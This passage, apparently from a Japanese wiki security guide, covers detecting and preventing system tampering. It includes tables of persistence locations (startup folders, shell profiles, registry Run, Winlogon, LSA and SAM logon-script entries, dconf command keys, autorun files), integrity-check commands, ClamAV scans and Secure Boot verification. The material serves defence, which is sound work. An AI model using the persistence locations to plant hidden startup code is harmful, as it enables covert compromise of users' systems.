| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

